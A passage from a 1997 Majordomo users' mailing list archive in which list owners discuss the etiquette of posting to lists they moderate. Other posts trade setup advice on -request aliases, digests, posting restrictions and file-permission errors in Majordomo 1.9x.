list-clerk that would make the use of this term a no-no? If so, please send me email: list-mom@sportsurf.net Furthermore, when I post to my lists, I often do it and only sign as the list-clerk and not as myself. When I have something more slanted, then I post as myself. Next, to go into all the Mj scripts to change list-owner to list-clerk. Eeeks. Better wait on that one. Perhaps list-clerk could be something that should be floated up to the workers list if Dave or Jason or someone else thinks the list-clerk has merit too. I wonder if list-clerk is a trademarked name? Quick, dash to the internic to get list-clerk.com! :) -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Wed Jun 11 13:26:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA28016 for majordomo-users-outgoing; Wed, 11 Jun 1997 12:15:53 -0700 (PDT) Received: from lists.oulu.fi (lists.oulu.fi [130.231.241.85]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA27969; Wed, 11 Jun 1997 12:15:32 -0700 (PDT) Received: from localhost (mhotti@localhost) by lists.oulu.fi (8.8.6/8.8.6) with SMTP id WAA30610; Wed, 11 Jun 1997 22:16:38 +0300 Date: Wed, 11 Jun 1997 22:16:38 +0300 (EET DST) From: Marko Hotti To: list-managers@greatcircle.com cc: majordomo-users@greatcircle.com Subject: Re: Posting to own lists? (Please followup to list-managers) In-Reply-To: <339EEA75.5F00@intelenet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Since this is not a Majordomo spesific thread, I'm crossposting this to list-managers mailing list. On Wed, 11 Jun 1997, Bob Myers wrote: > However, it *is* easier to moderate discussions that get out of hand if > the list admin is neutral. I've regretted getting involved in heated > discussions on some of my lists because I felt it compromised my ability > to step in and cool things off. I'm running a very busy mailing list (VOCALIST) where people very often have very strict opinions about correct singing technique, interpretation etc. Sometimes things just get out of hand and I have to get involved. I have found that the most important thing is to keep your head. IMO it is always better to give strict rules on the correct behaviour on a list AND constantly REMIND people of these rules by sending a weekly administrative posting or the list netiquette. You can never please everyone - that's something that I learned when I started this business. Don't hesitate to jump in the discussion but remember to be objective and never give any public statements on someone's behaviour or opinions. As the list owner you should send some private notes to those who have apparently started the flame postings. With regards, Marko -- Marko Hotti Tel: +358-(0)8-530-4268 (home) Oulu University CSC / List Services Tel: +358-(0)40-552-8415 (work) Oulu * Finland http://www.lists.oulu.fi/ From owner-majordomo-users-outgoing Wed Jun 11 13:56:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA13342 for majordomo-users-outgoing; Wed, 11 Jun 1997 13:34:11 -0700 (PDT) Received: from terrania.westfalen.de (terrania.westfalen.de [195.52.199.238]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id NAA13305 for ; Wed, 11 Jun 1997 13:33:58 -0700 (PDT) Received: from localhost by terrania.westfalen.de via sendmail with smtp id for ; Wed, 11 Jun 1997 22:35:00 +0200 (CEST) (Smail-3.2 1996-Jul-4 #1 built 1996-Nov-18) Date: Wed, 11 Jun 1997 22:34:59 +0200 (CEST) From: Daniel Schneider To: Jason L Tibbitts III cc: majordomo-users@GreatCircle.COM Subject: Re: digests and subject prefixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, On 11 Jun 1997, Jason L Tibbitts III wrote: > There's a patch that I haven't tested at > which > makes digest_rm_footer work. It shouldn't be terribly difficult to create > digest_rm_subject_prefix and make it work as well. I have applied the patch, not without problems, because I had to insert some lines by hand because patch won't take them. The patch works as well for rm_footer as rm_subject it says. i am going to try it soon. Daniel Schneider http://www.westfalen.de/terrania/ http://www.westfalen.de/terrania/english.html (English) From owner-majordomo-users-outgoing Wed Jun 11 14:05:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA15819 for majordomo-users-outgoing; Wed, 11 Jun 1997 13:46:41 -0700 (PDT) Received: from sys1.ic.ncs.com (sys1.ic.ncs.com [159.182.38.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA15555 for ; Wed, 11 Jun 1997 13:45:41 -0700 (PDT) Received: from ames.ic.ncs.com (ames.ic.ncs.com [159.182.21.17]) by sys1.ic.ncs.com (AIX4.2/UCB 8.7/8.7) with ESMTP id PAA13222 for ; Wed, 11 Jun 1997 15:46:45 -0500 (CDT) sender sut92199@ames.ic.ncs.com for Received: (from sut92199@localhost) by ames.ic.ncs.com (AIX4.2/UCB 8.7/8.7) id PAA16500; Wed, 11 Jun 1997 15:46:44 -0500 (CDT) Date: Wed, 11 Jun 1997 15:46:44 -0500 (CDT) From: Scott Sutherland To: majordomo-users@GreatCircle.COM Subject: Re: digests and subject prefixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 11 Jun 1997, Alan Edmonds wrote: > I want the same thing; strip the individual fronter/footer before digesting > and strip the [listname] from the subjects in the digest. > > I'm just thinking out loud here, what if the messages were archived > before the message_fronter and message_footer were added? Then when > digested, they wouldn't be present. I don't think the message_fronter > and message_footer are that important when saving archive copies. > What you could do is send the original message to seperate resend precesses which use seperate config files... then you would have two 'copies' of the original message... one which uses a configuration file that inserts whatever, another which doesn't... and the good news is that you still have all the functionality of resend =) You could then archive and digest whichever version of the messages that you wanted... Scott -- Scott Sutherland National Computer Systems (319) 354-9200 Measurement Services Division Iowa City, Ia #include "standard-disclaimer.h" From owner-majordomo-users-outgoing Wed Jun 11 14:11:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA16294 for majordomo-users-outgoing; Wed, 11 Jun 1997 13:50:37 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA16271 for ; Wed, 11 Jun 1997 13:50:26 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA12591; Wed, 11 Jun 1997 15:50:32 -0500 (CDT) To: alan@ernest.itg.ti.com (Alan Edmonds) Cc: majordomo-users@GreatCircle.COM Subject: Re: digests and subject prefixes References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 11 Jun 1997 15:50:31 -0500 In-Reply-To: alan@ernest.itg.ti.com's message of Wed, 11 Jun 1997 14:44:59 -0500 (CDT) Message-ID: Lines: 40 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "AE" == Alan Edmonds writes: AE> I'm just thinking out loud here, what if the messages were archived AE> before the message_fronter and message_footer were added? Everybody with me: 2.0...2.0...2.0. I haven't worked out the semantics exactly, but the message will definitely get to the archive (and hence to the digest) before the cruft is added. It would take some hacking to do this in 1.9x. I can think of not-too-difficult ways to do it and recall a patch that would make a good starting point, but, well, if you want to hack, come hack on 2.0. BTW, if you have ideas and want to think out loud, come think loudly in majordomo-workers (this week we're doing digests and the archive/digest interface while I write resend). I don't always have time to follow majordomo-users and might miss your good ideas. Canned info; just stop me if you've heard this before: Majordomo 2.0 is not released. It is not near release. It is not in beta. It is not in alpha. It is not in any Greek letter, nor in any Egyptian hieroglyphic. It is, sir, a non-program. If you intend to hold your breath waiting for it, call your funeral director now. Majordomo 2.0 is being worked on. The basic infrastructure is done and a running implementation exists. The design is still evolving but is beginning to solidify nicely. If you want your ideas implemented, get them in now or wait out the development cycle. Discussion about Majordomo 2.0 is ongoing. You are getting sleepy. You will join Majordomo-Workers if you want to discuss 2.0. You will read Majordomo-Workers archives from http://www.hpc.uh.edu/majordomo-workers. You will send all of your money to Majordomo Gurus and will hire them for well paying consulting jobs. You will awake feeling rested and at peace. +*SNAP*+ - J< From owner-majordomo-users-outgoing Wed Jun 11 22:27:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA14240 for majordomo-users-outgoing; Wed, 11 Jun 1997 21:31:00 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA14111 for ; Wed, 11 Jun 1997 21:30:28 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id XAA09339; Wed, 11 Jun 1997 23:35:10 -0500 Date: Wed, 11 Jun 1997 23:35:08 -0500 (CDT) From: Mitchell Leben To: Bob Myers cc: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: <339EEA75.5F00@intelenet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Yes, this is the type of situation I was wondering about. Difficult to be the umpire and be on first base at the same time. In general people seem to respect the list-clerks :) I plan to participate in the lists I am interested in, and hopefully will be able to handle things when the lists goes astray. On Wed, 11 Jun 1997, Bob Myers wrote: > However, it *is* easier to moderate discussions that get out of hand if > the list admin is neutral. I've regretted getting involved in heated > discussions on some of my lists because I felt it compromised my ability > to step in and cool things off. ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Wed Jun 11 23:56:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA08680 for majordomo-users-outgoing; Wed, 11 Jun 1997 23:37:31 -0700 (PDT) Received: from jaguar.cis.um.edu.mt ([193.188.43.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA08643 for ; Wed, 11 Jun 1997 23:37:17 -0700 (PDT) Received: (from cmeli@localhost) by jaguar.cis.um.edu.mt (8.8.5/8.8.1-CISNET) id IAA27872; Thu, 12 Jun 1997 08:44:38 +0100 (GMT+0100) Date: Thu, 12 Jun 1997 08:44:38 +0100 (GMT+0100) Message-Id: <199706120744.IAA27872@jaguar.cis.um.edu.mt> X-Comment: Refuse all traffic from AGIS due to their massive network abuse From: Clyde Meli Subject: Re: Posting to own lists? To: kali , majordomo-users@GreatCircle.COM In-Reply-To: kali's message of Wed, 11 Jun 1997 10:59:44 -0700 (PDT) Organisation: University of Malta X-Url: "http://www.cis.um.edu.mt/links/mnr" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > > It's fully up to each person. I personally run about 35 lists, and I > > post regularly to three or four of them. Several others I skim over > > and post once in a great while (and list members comment that I've > > "popped up"), and for all the rest I only get involved if there's a > > problem. But that's because either the list volume is too high for me > > to read regularly or those, or because my interest in the list subject > > has waned. Usually the latter. > > Just be careful not to get too personally involved with alot of list > members, I find it harder to send "warnings" to those that are "friends" > and some seem to push the rules a little bit more if they think they are > special. > > -kali > If you are fair to everyone (i.e. your rules count for all the members) then it should be ok I think. If they push the rules a little bit more I suggest give them a warning and then remove them from the list next time. From owner-majordomo-users-outgoing Wed Jun 11 23:59:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA08918 for majordomo-users-outgoing; Wed, 11 Jun 1997 23:38:46 -0700 (PDT) Received: from jaguar.cis.um.edu.mt ([193.188.43.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA08859 for ; Wed, 11 Jun 1997 23:38:24 -0700 (PDT) Received: (from cmeli@localhost) by jaguar.cis.um.edu.mt (8.8.5/8.8.1-CISNET) id IAA27901; Thu, 12 Jun 1997 08:45:40 +0100 (GMT+0100) Date: Thu, 12 Jun 1997 08:45:40 +0100 (GMT+0100) Message-Id: <199706120745.IAA27901@jaguar.cis.um.edu.mt> From: Clyde Meli Subject: Re: Posting to own lists? To: Bob Myers , Mitchell Leben In-Reply-To: Bob Myers's message of Wed, 11 Jun 1997 11:12:05 -0700 Organisation: University of Malta X-Comment: "Vote for Malta Network Resources in the Peoples' Choice Top 100" X-Url: "http://www.cis.um.edu.mt/links/mnr" Cc: majordomo-users@GreatCircle.COM Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > Mitchell Leben wrote: > > > > Is there any general wisdom on the netiquette of posting to a list that > > one runs? Seems to me that usually the lists admins are rather quiet and > > only speak up when there is a problem or issue concerning the list. > > I don't think there's any general netiquette on this. > > However, it *is* easier to moderate discussions that get out of hand if > the list admin is neutral. I've regretted getting involved in heated > discussions on some of my lists because I felt it compromised my ability > to step in and cool things off. > > -- > Bob Myers InteleNet Communications, Inc. > Email: bob@InteleNet.net 18101 Von Karman Avenue, Suite 550 > Phone: 714-851-8250 x227 Irvine, CA 92612 > Fax: 714-851-1088 http://www.intelenet.net/ > But then it's your list, and the people on the list are your *guests* so you always have the right to step in and cool things off, remember. Clyde From owner-majordomo-users-outgoing Thu Jun 12 00:26:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA14665 for majordomo-users-outgoing; Thu, 12 Jun 1997 00:16:03 -0700 (PDT) Received: from haedes.petalshome.com (phantomx.vip.best.com [206.184.205.246]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA14623 for ; Thu, 12 Jun 1997 00:15:49 -0700 (PDT) Received: from pandora.petalshome.com (root@pandora.petalshome.com [192.168.1.190]) by haedes.petalshome.com (8.8.3/8.8.3) with ESMTP id AAA01344 for ; Thu, 12 Jun 1997 00:15:38 -0700 Received: from pandora.petalshome.com (root@pandora.petalshome.com [192.168.1.190]) by pandora.petalshome.com (8.8.5/8.8.3) with SMTP id AAA07988 for ; Thu, 12 Jun 1997 00:16:04 -0700 Date: Thu, 12 Jun 1997 00:16:03 -0700 (PDT) From: webmaster X-Sender: root@pandora.petalshome.com To: Majordomo-Users@GreatCircle.COM Subject: Stuck on -request use, can't set up Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk for LISTNAME "pumpers" I have the following: in majordomo.cf .... $majordomo_request = 1; in majordomo.aliases... pumpers-request: "|/home/majordomo/wrapper majordomo -l pumpers" when I send a message to: pumpers@bizsystems.com subscribe I get a BOUNCE, message is below. If I simply send to: majordomo@bizsystems.com subscribe pumpers everything works fine. I would appreciate it if someone could point this NEWBIE to Majordomo in the right direction TIA Michael To: owner-pumpers@bizsystems.com Subject: BOUNCE pumpers@bizsystems.com: Admin request of type /\bsubscribe\b/i at line 2 >From owner-pumpers@pandora.petalshome.com Wed Jun 11 23:59:11 1997 Received: from pandora.petalshome.com (kandi@pandora.petalshome.com [192.168.1.190]) by pandora.petalshome.com (8.8.5/8.8.3) with SMTP id XAA07915 for ; Wed, 11 Jun 1997 23:59:11 -0700 Date: Wed, 11 Jun 1997 23:59:09 -0700 (PDT) From: kandi X-Sender: kandi@pandora.petalshome.com To: pumpers@bizsystems.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII subscribe From owner-majordomo-users-outgoing Thu Jun 12 00:56:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA17827 for majordomo-users-outgoing; Thu, 12 Jun 1997 00:36:18 -0700 (PDT) Received: from lists.oulu.fi (lists.oulu.fi [130.231.241.85]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA17781 for ; Thu, 12 Jun 1997 00:36:05 -0700 (PDT) Received: from localhost (mhotti@localhost) by lists.oulu.fi (8.8.6/8.8.6) with SMTP id KAA11618; Thu, 12 Jun 1997 10:37:11 +0300 Date: Thu, 12 Jun 1997 10:37:11 +0300 (EET DST) From: Marko Hotti To: webmaster cc: Majordomo-Users@GreatCircle.COM Subject: Re: Stuck on -request use, can't set up In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Thu, 12 Jun 1997, webmaster wrote: > > for LISTNAME "pumpers" > I have the following: > > in majordomo.cf .... $majordomo_request = 1; > in majordomo.aliases... > pumpers-request: "|/home/majordomo/wrapper majordomo -l pumpers" > > when I send a message to: pumpers@bizsystems.com > subscribe Umm... If you have set up the 'pumpers-request' address, why do you expect the 'subscribe' command to work with the MAILING LIST ADDRESS???? The idea of 'listname-request' addresses is that you send the subscribe/unsubscribe commands to them and you don't have to use the list name in that command since it is already defined in the majordomo aliases. > I get a BOUNCE, message is below. You get the bounce because you are sending an administrative command to the _list_address_ and you have set administrivia = yes /Marko -- Marko Hotti Tel: +358-(0)8-530-4268 (home) Oulu University CSC / List Services Tel: +358-(0)40-552-8415 (work) Oulu * Finland http://www.lists.oulu.fi/ From owner-majordomo-users-outgoing Thu Jun 12 01:03:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA16888 for majordomo-users-outgoing; Thu, 12 Jun 1997 00:31:30 -0700 (PDT) Received: from slacker.cu-online.com (slacker.cu-online.com [206.185.2.73]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id AAA16821 for ; Thu, 12 Jun 1997 00:31:16 -0700 (PDT) Received: from localhost (sarge@localhost) by slacker.cu-online.com (8.8.5/8.8.5) with SMTP id CAA23001 for ; Thu, 12 Jun 1997 02:37:51 -0500 (CDT) Date: Thu, 12 Jun 1997 02:37:51 -0500 (CDT) From: Sarge in Charge To: majordomo-users@greatcircle.com Subject: Creating lists? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk To anyone: I just got everything compiled and everything. I created a file called ready in the majordomo/lists/ready and another file ready.info chmod 664 and I also made the aliases for the list in /etc/majordomo.aliases. I got to do the config part and I type config ready ready.admin like it says and i get this error. I have done it while be SU and normal and still same thing here is the error: config -g ready ready.admin usage: config [-gpn] sysname > I am using the majordomo-1.94.3. version on linux FREEBSD system. Please respond ASAP. ******************************************************************************* Officer White Badge# 908 Saying: You miss 100% of the chances, you never take!!!! ******************************************************************************* On Wed, 11 Jun 1997, Sarge in Charge wrote: > can anyone e-mail me back and tell me how I can subscribe to this mailing > list? E-mail me back at sarge@slacker.cu-online.com > > ******************************************************************************* > Officer White > Badge# 908 > > Saying: You miss 100% of the chances, you never take!!!! > ******************************************************************************* > > From owner-majordomo-users-outgoing Thu Jun 12 07:26:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA13335 for majordomo-users-outgoing; Thu, 12 Jun 1997 07:23:42 -0700 (PDT) Received: from elmo.gleim.com (elmo-gatew.gleim.com [207.30.143.122]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA13319 for ; Thu, 12 Jun 1997 07:23:33 -0700 (PDT) Received: from grover.gleim.com (grover.gleim.com [207.30.143.13]) by elmo.gleim.com (8.8.4/8.8.4) with SMTP id KAA20956 for ; Thu, 12 Jun 1997 10:24:25 -0400 Message-Id: <3.0.2.32.19970612103039.00939c30@gleim.com> X-Sender: mam@gleim.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Thu, 12 Jun 1997 10:30:39 -0400 To: majordomo-users@GreatCircle.COM From: Mark Moore Subject: Majordomo Abort Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Help! Everytime someone subscribes to one of my lists, i get these errors: >MAJORDOMO ABORT > >Can't append to /usr/local/majordomo/lists/foo: Permission denied -------------- 0000,8080,0000Mark Moore mark@gleim.com ffff,0000,0000Gleim Publications, Inc. http://www.gleim.com ffff,0000,0000(352) 375-0772 (800) 87-GLEIM FAX: (352) 375-6940 --------------- From owner-majordomo-users-outgoing Thu Jun 12 08:13:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA15673 for majordomo-users-outgoing; Thu, 12 Jun 1997 07:44:50 -0700 (PDT) Received: from a2snet.alpha2.com (a2snet.alpha2.com [207.95.173.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA15641 for ; Thu, 12 Jun 1997 07:44:37 -0700 (PDT) Received: from localhost (todd@localhost) by a2snet.alpha2.com (8.8.4/8.8.4) with SMTP id KAA03180 for ; Thu, 12 Jun 1997 10:46:04 -0400 X-Authentication-Warning: a2snet.alpha2.com: todd owned process doing -bs Date: Thu, 12 Jun 1997 10:46:04 -0400 (EDT) From: Todd Fencl || Information Manager To: majordomo-users Subject: people can post with out subscribing Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I am hoping that someone can help me with this little problem. People can send messages to any of my lists without being a member to _any_ of the lists. I have gone through the ~.config files and could not find anything. Can anyone give me a pointer at where I went astray?? TIA --end-- Todd Fencl todd@alpha2.com Information Manager www.alpha2.com Alpha II Service Inc 614.868.5033 From owner-majordomo-users-outgoing Thu Jun 12 08:25:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA17749 for majordomo-users-outgoing; Thu, 12 Jun 1997 08:00:36 -0700 (PDT) Received: from haedes.petalshome.com (phantomx.vip.best.com [206.184.205.246]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA17680 for ; Thu, 12 Jun 1997 08:00:20 -0700 (PDT) Received: from pandora.petalshome.com (root@pandora.petalshome.com [192.168.1.190]) by haedes.petalshome.com (8.8.3/8.8.3) with ESMTP id HAA01561 for ; Thu, 12 Jun 1997 07:10:38 -0700 Received: (from root@localhost) by pandora.petalshome.com (8.8.5/8.8.3) id HAA08267; Thu, 12 Jun 1997 07:11:16 -0700 Received: from proxy1.ba.best.com (root@proxy1.ba.best.com [206.184.139.12]) by shell4.ba.best.com (8.8.5/8.7.3) with ESMTP id AAA29046 for ; Thu, 12 Jun 1997 00:37:46 -0700 (PDT) Received: from lists.oulu.fi (lists.oulu.fi [130.231.241.85]) by proxy1.ba.best.com (8.8.5/8.8.3) with ESMTP id AAA09747 for ; Thu, 12 Jun 1997 00:37:14 -0700 (PDT) Received: from localhost (mhotti@localhost) by lists.oulu.fi (8.8.6/8.8.6) with SMTP id KAA11618; Thu, 12 Jun 1997 10:37:11 +0300 Date: Thu, 12 Jun 1997 10:37:11 +0300 (EET DST) From: Marko Hotti To: webmaster cc: Majordomo-Users@GreatCircle.COM Subject: Re: Stuck on -request use, can't set up In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-UIDL: 258b178d31f8789a7a754eaae36dce64 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Thu, 12 Jun 1997, webmaster wrote: > > for LISTNAME "pumpers" > I have the following: > > in majordomo.cf .... $majordomo_request = 1; > in majordomo.aliases... > pumpers-request: "|/home/majordomo/wrapper majordomo -l pumpers" > > when I send a message to: pumpers@bizsystems.com > subscribe Umm... If you have set up the 'pumpers-request' address, why do you expect the 'subscribe' command to work with the MAILING LIST ADDRESS???? The idea of 'listname-request' addresses is that you send the subscribe/unsubscribe commands to them and you don't have to use the list name in that command since it is already defined in the majordomo aliases. > I get a BOUNCE, message is below. You get the bounce because you are sending an administrative command to the _list_address_ and you have set administrivia = yes /Marko -- Marko Hotti Tel: +358-(0)8-530-4268 (home) Oulu University CSC / List Services Tel: +358-(0)40-552-8415 (work) Oulu * Finland http://www.lists.oulu.fi/ From owner-majordomo-users-outgoing Thu Jun 12 08:30:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA20692 for majordomo-users-outgoing; Thu, 12 Jun 1997 08:22:44 -0700 (PDT) Received: from peking.duc.auburn.edu (peking.duc.auburn.edu [131.204.85.205]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA20685 for ; Thu, 12 Jun 1997 08:22:38 -0700 (PDT) Received: by peking.duc.auburn.edu (SMI-8.6/SMI-SVR4) id KAA04607; Thu, 12 Jun 1997 10:22:36 -0500 Date: Thu, 12 Jun 1997 10:22:36 -0500 From: swangdb@duc.auburn.edu (David Swanger) Message-Id: <199706121522.KAA04607@peking.duc.auburn.edu> To: majordomo-users@greatcircle.com Subject: Re: Posting to own lists? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-MD5: ywFtEIIqxqm8YIm5iCNi4Q== Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > On Wed, 11 Jun 1997, Mitchell Leben wrote: > > > Is there any general wisdom on the netiquette of posting to a list that > > one runs? Seems to me that usually the lists admins are rather quiet and > > only speak up when there is a problem or issue concerning the list. A few years ago I created a mailing list dedicated to sports at Auburn University. I had subscribed to other sports lists in the past and many of them had really strict rules. On these lists it was really easy to get bounced from the list if you didn't follow the rules. For example, some sports list owners will bounce you if are not a fan of the team in question, they want NO opposing views, etc. I decided that was too strict, so when I started the list basically I said that within reason, I didn't care what people posted as long as the majority of messages were AU sports-related. I said I would ban users if they were too out of control, cursed too much or were just couldn't stop being jerks. Since then I have banned 4 or 5 users (we normally have around 350 subscribers, over 400 during football season). I freely allow fans from other schools as long as they aren't too obnoxious. The list has a few thousand messages every month, probably 75% of these messages are sports-related. There are many "side" subjects that peripherally relate to sports: bbq, religion, frats, politics. Normally, the list is a lot of fun. Well, I think it's fun for Auburn (and maybe other SEC) sports fans. I will confess that last month, the list was overloaded with lunatic fringe political/religious "debates" (rants is more like it) and I actually thought about changing my wide-open approach to running the list, but some of my friends urged me to leave things alone, so I did. I did post a request that people take endless non-sports threads to private email after the second or third endless response and it seemed to work. Yes, I post messages to this list. Not every day, but I usually post between 10 to 20 messages every month. Hey, I created the list because of a personal interest (also, several people were begging for it), so sure, I post to the list. I can see how someone could create a list and then lose interest. Some weeks I kind of skim all of the messages, other weeks I am really interested. For what it is worth, the sports list I created is a listproc list, several months ago I installed majordomo and since then all new lists I have created have been with majordomo. I can foresee a day when all of our listproc lists are gone except for the sports list. I'd like to change it over, but, well... it's like there is inertia or something... Man, I didn't mean to write a book! dave (p.s. for those of you wondering how sports nuts could get side-tracked into religious and political debates, the Governor of Alabama is a former football star at Auburn U., plus he is a right wing religious fanatic, plus there are political funding problems in our state now, and well...somehow things got WAY off track) (p.s.s the bbq debates were nearly as bad!) From owner-majordomo-users-outgoing Thu Jun 12 08:57:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA22231 for majordomo-users-outgoing; Thu, 12 Jun 1997 08:36:12 -0700 (PDT) Received: from gate.insite.co.uk (gate.insite.co.uk [193.123.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA22223 for ; Thu, 12 Jun 1997 08:36:04 -0700 (PDT) Received: from picard.insite.co.uk (picard.verity.com [192.168.70.35]) by gate.insite.co.uk (8.6.9/8.6.12) with SMTP id PAA30985 for ; Thu, 12 Jun 1997 15:36:29 GMT Received: by picard.insite.co.uk with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63) id <01BC7746.8BA147B0@picard.insite.co.uk>; Thu, 12 Jun 1997 15:37:33 -0000 Message-ID: From: Peter Bowyer To: "'majordomo-users@greatcircle.com'" Subject: RE: people can post with out subscribing Date: Thu, 12 Jun 1997 15:37:27 -0000 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk 2 possibilities :- 1. The list.config entry you're looking for is 'restrict-post'. You tell it the name of the file containing the list of people who can post - in your case, the mailing list file. 2. If you already did this and it isn't working, perhaps you're not using 'resend'. Peter >---------- >From: Todd Fencl || Information Manager[SMTP:todd@alpha2.com] >Sent: Thursday, June 12, 1997 2:46 PM >To: majordomo-users >Subject: people can post with out subscribing > >I am hoping that someone can help me with this little problem. People can >send messages to any of my lists without being a member to _any_ of the >lists. I have gone through the ~.config files and could not find anything. >Can anyone give me a pointer at where I went astray?? > >TIA > >--end-- >Todd Fencl todd@alpha2.com >Information Manager www.alpha2.com >Alpha II Service Inc 614.868.5033 > > From owner-majordomo-users-outgoing Thu Jun 12 09:11:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA25091 for majordomo-users-outgoing; Thu, 12 Jun 1997 09:06:45 -0700 (PDT) Received: from brussel.planetinternet.be (brussel.planetinternet.be [194.119.232.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA25074 for ; Thu, 12 Jun 1997 09:06:35 -0700 (PDT) Received: from werchter.planetinternet.be (root@werchter.planetinternet.be [194.119.232.131]) by brussel.planetinternet.be (8.8.5/8.8) with ESMTP id SAA17972 for ; Thu, 12 Jun 1997 18:08:21 +0200 (MET DST) Received: from bree (dpc160.staf.planetinternet.be [194.119.232.160]) by werchter.planetinternet.be (8.8.4/8.8) with SMTP id SAA22656; Thu, 12 Jun 1997 18:06:55 GMT Received: by localhost with Microsoft MAPI; Thu, 12 Jun 1997 18:07:21 +0200 Message-ID: <01BC775B.79449BC0@bruno@staf.planetinternet.be> From: Bruno Tersago Reply-To: "bruno@staf.planetinternet.be" To: "'majordomo-users@greatcircle.com'" Cc: "Bruno (E-mail)" Subject: Permission problems when installing majordomo Date: Thu, 12 Jun 1997 18:07:20 +0200 Organization: Planet Internet X-Mailer: Microsoft Internet E-mail/MAPI - 